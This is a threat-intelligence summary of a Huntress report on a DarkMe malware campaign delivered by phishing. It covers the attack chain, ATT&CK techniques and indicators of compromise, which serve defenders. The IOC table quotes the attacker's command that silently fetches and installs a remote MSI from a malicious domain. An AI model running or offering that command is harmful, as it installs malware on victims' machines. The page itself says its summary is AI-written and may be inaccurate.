[object Object]
The DarkMe malware is now being delivered via simple phishing emails, abandoning the zero-days previously used to deliver the payload.
Huntress researchers report a new DarkMe malware campaign that has abandoned zero-day exploits in favor of simple social engineering. The attack begins with a phishing email delivering a .pif file disguised as an image, which uses msiexec to fetch a remote MSI installer. This installer unpacks a VB6-based malware chain that executes via a COM object registered through rundll32.exe, a technique observed in prior Water Hydra campaigns. The shift to less sophisticated initial access methods indicates a trend of broadening target lists.
- DarkMe malware abandoned zero-day exploits for simple phishing links to broaden targeting.
- Delivery uses a social engineering email with a malicious .pif file disguised as an image.
- Attack chain uses msiexec, a wrapper, and three VB6 loaders for execution and defense evasion.
- Huntress threat hunting team observed the new campaign in a customer environment.
- ATT&CK
- T1566.002 Spearphishing LinkT1204.002 User Execution: Malicious FileT1218.007 MsiexecT1218 System Binary Proxy ExecutionT1574.001 Hijack Execution Flow: DLL Search Order Hijacking
- Vendors
- Microsoft
- Threat actors
- Water Hydra
- Malware
- DarkMe
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | onlineview365.com | ress. It executed this command to do so: msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart Fetching a remote MSI over HT |
| domain | readonline365.com | an image Although the link in the email pointed to https://readonline365[.]com/view/image.png , a URL for a graphics file, the webserver |
| sha256 | 54ed18aa883b53794810be0428b3a0167758183c5b3ba5660af747dc81dd5b76 | ut yields a different hash: e34bb5f7... against the correct 54ed18aa883b53794810be0428b3a0167758183c5b3ba5660af747dc81dd5b76 . Process hollowing into a signed Microsoft binary With the |
From the original article
13 min read at huntress.comDarkMe, a Visual Basic 6 (VB6) spy trojan and remote access tool became well known in February 2024 for its use of zero days to deliver malware . But this malware family was first observed in September 2021 and publicly documented a year later by NSFOCUS under "Operation DarkCasino" attributed to a group called EvilNum.
huntress.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.